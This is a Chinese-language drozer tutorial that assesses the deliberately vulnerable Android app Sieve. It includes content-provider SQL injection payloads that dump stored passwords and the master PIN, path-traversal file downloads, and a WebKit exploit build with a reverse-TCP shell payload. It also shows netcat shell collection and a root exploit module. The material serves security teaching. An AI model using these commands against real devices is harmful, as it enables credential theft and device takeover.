Drozer

1.Getting Started

1.1 Starting a Session

默认情况下,drozer使用端口31415:

adb forward tcp:31415 tcp:31415

启动代理,选择“Embedded Server” 点击 “Enable”

drozer console connect

1.2 Inside the drozer Console

drozer Console 是一个命令行环境

Command Description
run MODULE 执行一个drozer模块
list 显示当前执行的所有drozer模块列表
shell/cd Linux shell
clean 删除drozer在Android设备上存储的临时文件
echo print到console
exit 终止drozer会话
help 显示帮助
load 加载包含drozer命令的文件,并按顺序执行它们。
module 从Internnet查找并安装其他drozer模块
permissions 显示授予drozer Agent的权限列表
set 将值存储在将作为环境变量传递给drozer生成的任何Linux shell的变量中。
unset Remove a named variable that drozer passes to any Linux shells that it spawns.

2.Using drozer for Security Assessment

用Sieve进行测试,讲解使用方法。

2.1 Sieve

Sieve是一个小型的Password Manager应用程序,用于展示Android中的一些常见漏洞应用。
首次启动Sieve时,它要求用户设置一个16个字符的“主密码”和一个4位数的引脚,用于保护用户稍后输入的密码。 用户可以使用Sieve存储各种服务的密码,如果需要正确的凭据,可以在以后检索。
在开始本教程之前,请将Sieve安装到Android模拟器上并创建几组凭据。

2.2 Retrieving Package Information

评估Sieve的第一步是在Android设备上找到它。 安装在Android设备上的应用程序由其“包名称”唯一标识。 我们可以使用app.package.list命令查找Sieve的标识符:

dz> run app.package.list -f sieve

com.mwr.example.sieve

使用app.package.info命令提供有关包的一些基本信息:

dz>run app.package.info -a com.mwr.example.sieve

Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-2.apk
UID: 10056
GID: [1028, 1015, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
 - android.permission.WRITE_EXTERNAL_STORAGE
 - android.permission.INTERNET
Defines Permissions:
 - com.mwr.example.sieve.READ_KEYS
 - com.mwr.example.sieve.WRITE_KEYS

2.3 Identify the Attack Surface

只考虑通过Android的进程间通信(IPC)内置机制暴露的漏洞。 这些漏洞通常会导致敏感数据泄漏到安装在同一设备上的其他应用程序。

dz> run app.package.attacksurface com.mwr.example.sieve

Attack Surface:
 3 activities exported    		//使其它应用程序可访问
 0 broadcast receivers exported	//应用程序使用的屏幕
 2 content providers exported	//内容提供程序(数据库对象)
 2 services exported			//服务(后台工作程序)
 is debuggable					//该服务可调试,可以使用adb将调试器附加到进程,并逐步执行代码

2.4 Launching Activities

深入attack。例如询问sieve导出哪些Activities

dz> run app.activity.info -a com.mwr.example.sieve

Package: com.mwr.example.sieve
 com.mwr.example.sieve.FileSelectActivity
 com.mwr.example.sieve.MainLoginActivity
 com.mwr.example.sieve.PWList		//activity已经导出,并没有请求任何权限

dz> run app.activity.start --component

com.mwr.example.sieve com.mwr.example.sieve.PWList

dz> help app.activity.start

usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]
 	[--component PACKAGE COMPONENT] [--data-uri DATA_URI]
 	[--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]
 	[--mimetype MIMETYPE]

2.5 Reading from Content Providers

收集有关应用程序导出的内容提供商的更多信息。 提供了一个简单的命令来请求其他信息:

dz> run app.provider.info -a com.mwr.example.sieve

Package: com.mwr.example.sieve
 	Authority: com.mwr.example.sieve.DBContentProvider
 	Read Permission: null
 	Write Permission: null
 	Content Provider: com.mwr.example.sieve.DBContentProvider
 	Multiprocess Allowed: True
 	Grant Uri Permissions: False
 	Path Permissions:
 	Path: /Keys
 	Type: PATTERN_LITERAL
 	Read Permission: com.mwr.example.sieve.READ_KEYS
 	Write Permission: com.mwr.example.sieve.WRITE_KEYS
 	Authority: com.mwr.example.sieve.FileBackupProvider
 	Read Permission: null
 	Write Permission: null
 	Content Provider: com.mwr.example.sieve.FileBackupProvider
 	Multiprocess Allowed: True
 	Grant Uri Permissions: False

这显示了攻击面在第2.3节中提到的两个导出的内容提供程序。 它确认这些内容提供者不需要任何特定权限与它们进行交互,但DBContentProvider中的/ Keys路径除外。

2.5.1 Database-backed Content Providers(Data Leakage)

一个名为“DBContentProvider”的内容提供者将在其后端拥有某种形式的数据库。 但是,如果不知道此内容提供商的组织方式,将很难提取任何信息。

可以重构部分内容URI来访问DBContentProvider,知道它们必须以“content://”开头。 但是,无法知道提供程序将接受的所有路径组件。

幸运的是,Android应用程序倾向于提供有关内容URI的提示。 例如,在app.provider.info命令的输出中,我们看到“/ Keys”可能作为路径存在,但不能在没有READ_KEYS权限的情况下查询它。

drozer提供了一个扫描器模块,它汇集了各种方法来猜测路径并划分可访问内容URI列表:

dz> run scanner.provider.finduris -a com.mwr.example.sieve

Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
 content://com.mwr.example.sieve.DBContentProvider/Keys/
 content://com.mwr.example.sieve.DBContentProvider/Passwords
 content://com.mwr.example.sieve.DBContentProvider/Passwords/

现在可以使用其他drozer模块从这些内容URI中检索信息,甚至可以修改数据库中的数据:

dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

	_id: 1
 service: Email
 username: incognitoguy50
 password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== (Base64-encoded)
 email: [email protected]

2.5.2 Database-backed Content Providers(SQL Injection)

Android平台促进使用SQLite数据库来存储用户数据。 由于这些数据库使用SQL,可能容易受到SQL注入攻击

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection “’”

unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT ' FROM Passwords

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection “’”

unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords
WHERE (')

Android返回一个非常详细的错误消息,显示它尝试执行的整个查询。可以充分利用此漏洞列出数据库中的所有表:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection “* FROM SQLITE_MASTER WHERE type=‘table’;–”

| type  | name             | tbl_name         | rootpage | sql 				|
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords 		  | 4 		 | CREATE TABLE ... |
| table | Key 			   | Key 	   	 	  | 5 		 | CREATE TABLE ... |

或查询其他受保护的表:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection “* FROM Key;–”

| Password 		   | pin  |
| thisismypassword | 9876 |

2.5.3 File System-backed Content Providers

内容提供商可以提供对底层文件系统的访问。 这允许应用程序共享文件,否则Android沙箱会阻止它。
由于我们可以合理地假设FileBackupProvider是一个由文件系统支持的内容提供程序,并且路径组件表示我们要打开的文件的位置,因此我们可以轻松猜出此内容的URI并使用drozer模块来读取文件:

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

127.0.0.1 localhost

读取/ etc / hosts文件不是一个大问题但是在第3.2节中发现了应用程序数据目录的路径,我们可以查看更多敏感信息:

dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data

/data/com.mwr.example.sieve/databases/database.db /home/user/database.db
Written 24576 bytes

这已将应用程序的数据库从设备复制到本地计算机,可以在其中进行浏览。sqlite不仅提取用户的加密密码,还提取其主密码。

2.5.4 Content Provider Vulnerabilities

我们已经看到内容提供程序可能容易受到SQL注入和目录遍历的攻击。drozer提供模块来自动测试这些漏洞的简单案例:

dz> run scanner.provider.injection -a com.mwr.example.sieve

Scanning com.mwr.example.sieve...
Injection in Projection:
 	content://com.mwr.example.sieve.DBContentProvider/Keys/
 	content://com.mwr.example.sieve.DBContentProvider/Passwords
 	content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
 	content://com.mwr.example.sieve.DBContentProvider/Keys/
 	content://com.mwr.example.sieve.DBContentProvider/Passwords
 	content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.traversal -a com.mwr.example.sieve

Scanning com.mwr.example.sieve...
Vulnerable Providers:
 content://com.mwr.example.sieve.FileBackupProvider/
 content://com.mwr.example.sieve.FileBackupProvider

2.6 Interacting with Services

dz> run app.service.info -a com.mwr.example.sieve

Package: com.mwr.example.sieve
 com.mwr.example.sieve.AuthService
 Permission: null
 com.mwr.example.sieve.CryptoService
 	Permission: null

这些服务再次导出到所有其他应用程序,无需访问权限。 由于我们正在尝试解密密码,因此CryptoService看起来很有趣。
充分利用Sieve的CryptoService作为练习。 它通常涉及反编译应用程序以确定协议,并使用“app.service.send”或编写自定义drozer模块来向服务发送消息。

2.7 Other Modules

drozer提供了许多在安全评估期间有用的其他模块:
shell.start
在设备上启动交互式Linux shell。
tools.file.upload/ tools.file.download
允许将文件复制到Android设备或从Android设备复制文件。
tools.setup.busybox/ tools.setup.minimalsu
在设备上安装有用的二进制文件。

3.Exploitation Features in drozer

drozer提供的功能可帮助将drozer代理部署到远程设备上,方法是利用设备上的应用程序或执行涉及一定程度社会工程的攻击。
drozer提供了一个共享漏洞和重用高质量有效载荷的框架。 它提供的模块允许生成用于漏洞利用的shell代码,以帮助访问远程受感染设备上的敏感数据。

3.1 Infrastructure Mode

到目前为止,您可能已经在“直接模式”运行drozer,您可以在其中运行代理的嵌入式服务器并直接连接到它。 这对于通过adb或本地Wi-Fi网络连接的设备非常方便。
drozer支持另一种操作模式:“基础设施模式”。在基础结构模式下,您可以在网络上或Internet上运行drozer服务器,为服务器和代理提供集合点,并在它们之间路由会话。
由于基础结构模式可以从设备建立出站连接,因此对于您不知道设备的IP地址或需要遍历NAT或防火墙的情况也很有用。

3.1.1 Running a drozer Server

要运行drozer服务器,您需要一台安装了drozer的计算机,移动设备和运行控制台的PC都可以访问该计算机.

drozer server start

3.1.2 Connecting an Agent

要使代理连接到服务器,必须将其详细信息添加为“端点”。 在设备上:
1.启动drozer Agent,按菜单按钮,然后选择“设置”。
2.选择“新端点”。
3.将“主机”设置为服务器的主机名或IP地址。
4.将“端口”设置为运行服务器的端口,除非它是标准配置
5.按“保存”(您可能需要按旧设备上的菜单按钮)。
如果您导航回主屏幕,您应该在drozer下看到您的终端。 选择它并以与启动嵌入式服务器相同的方式启用它。

3.1.3 Connecting a Console

$ drozer console devices --server myserver:31415
List of Bound Devices
Device ID 		 Manufacturer Model Software
67dcdbacd1ea6b60 unknown 	  sdk   4.1.2
67dcdbacd1ea6b61 unknown 	  sdk   4.2.0

其中“myserver”是drozer服务器的主机名或IP地址。
这表明我们连接了两台设备,运行不同版本的Jellybean。 您可以在启动控制台时通过提供其设备ID来指定要使用的内容:

$ drozer console connect 67dcdbacd1ea6b60 –-server myserver:31415
…
dz>

3.1.4 drozer Servr and Exploitation

drozer服务器对于利用是至关重要的,因为它在一个服务器中扮演多个服务器:
如果drozer代理连接,则drozerp使用drozer的自定义二进制协议
如果Web浏览器连接http,它通过HTTP提供资源
字节流如果在传输开始时发送特定字节,则它会响应流式传输资源
shell服务器如果将’S’(0x53)作为第一个字节发送,则连接将作为绑定shell缓存
drozer在整个利用期间利用此服务器来托管成功完成漏洞利用所需的资源,并将代理部署到设备并从受感染设备接收连接。

3.2 Exploits

drozer exploit模板和shellcode是特殊类型的drozer模块。 它们由drozer exploit命令组合以创建一个完整的漏洞:

$ drozer exploit build EXPLOIT SHELLCODE [OPTIONS]

可以通过运行列出可用的漏洞利用:

$ drozer exploit list
exploit.remote.webkit.nanparse
 			Webkit Invalid NaN Parsing (CVE-2010-1807)
...

查看可利用的shellcode

$ drozer shellcode list
shell.reverse_tcp.armeabi Establish a reverse TCP Shell (ARMEABI)
weasel.reverse_tcp.armeabi weasel through a reverse TCP Shell (ARMEABI)

可以为CVE-2010-1807构建一个漏洞,利用weasel(MWR的高级有效载荷)在旧的Android 2.1设备上获得foothold:

$ drozer exploit build exploit.remote.webkit.nanparse –-payload weasel.reverse_tcp.armeabi
--server 10.0.2.2:31415 --push-server 127.0.0.1:31415 --resource /home.html
Uploading weasel to /weasel and W... [ OK ]
Uploading the Agent to /agent.apk and A... [ OK ]
Uploading Exploit to /home.html... [ OK ]
Done. The exploit is available at: http://10.0.2.2:31415/home.html

将易受攻击的设备指向其Web浏览器中的漏洞利用地址,不久之后您将从该漏洞获得一个连接:

$ drozer console devices
List of Bound Devices
Device ID 			Manufacturer Model 		Software
9265590285227392218 unknown 	 unknown 	unknown

3.3 weasel

在3.2节中,看到了weasel如何将轻量级代理部署到易受攻击的设备上。
weasel是drozer的高级有效负载,可在受损设备上自动获得maximum leverage。

  • Here‘s what happens:
    • vulnerable 设备被利用
    • exploit运行shell代码,建立与drozer服务器的反向TCP shell连接。
    • payload 向drozer服务器发送一个’W’(0x57),去执行weasel stager 序列。
    • drozer服务器提供shell命令来安装和启动weasel。
    • weasel尝试了许多技术来运行drozer代理。

根据weasel升级权限的能力,您将从完整代理,有限代理或仅正常的反向shell接收连接。

3.3.1 Full Agent

如果weasel能够安装包,将从完整的drozer代理接收连接。 这与目前使用的代理程序相同,但不会向设备所有者显示GUI。

3.3.2 Limited Agent

如果weasel无法安装软件包,它仍然可以运行drozer代理的版本。 这是完整代理,但无权访问任何“应用程序上下文”。 这可以防止它直接与运行时的各个部分进行交互,例如程序包管理器,因此无法与其他程序包或其IPC端点进行交互。 如果获得有限代理,drozer将自动隐藏无法运行的模块,从“list”命令.

3.3.3 Reverse Shell

如果drozer甚至无法执行有限代理,它将为drozer服务器提供正常的Linux shell。
可以通过使用netcat连接到服务器来收集这些shell,并发送一行说明

$ nc myserver 31415
COLLECT
drozer Shell Server
-------------------
There is 1 shell waiting...
1) 127.0.0.1:54214
Shell: 1
/system/bin/id
uid=10058(u0_a58) gid=10058(u0_a58) groups=1028(sdcard_r),3003(inet)

4.Install Modules

drozer提供模块来研究Android平台的各个方面,以及一些远程攻击。
可以通过下载和安装其他模块来扩展drozer的功能。

4.1 Finding Modules

官方drozer模块存储库与Github上的主项目一起托管。 这会自动设置在您的drozer副本中。 可以使用module命令搜索模块:

dz> module search root
metall0id.root.cmdclient
metall0id.root.exynosmem.exynosmem
metall0id.root.scanner_check
metall0id.root.ztesyncagent
dz> module search cmdclient -d
metall0id.root.cmdclient
 Exploit the setuid-root binary at /system/bin/cmdclient on certain devices to gain a
 root shell. Command injection vulnerabilities exist in the parsing mechanisms of the
 various input arguments.
 This exploit has been reported to work on the Acer Iconia, Motorola XYBoard and
 Motorola Xoom FE.

4.2 Installing Modules

dz> module install cmdclient
Processing metall0id.root.cmdclient... Done.
Successfully installed 1 modules, 0 already installed

你可能感兴趣的:(RE)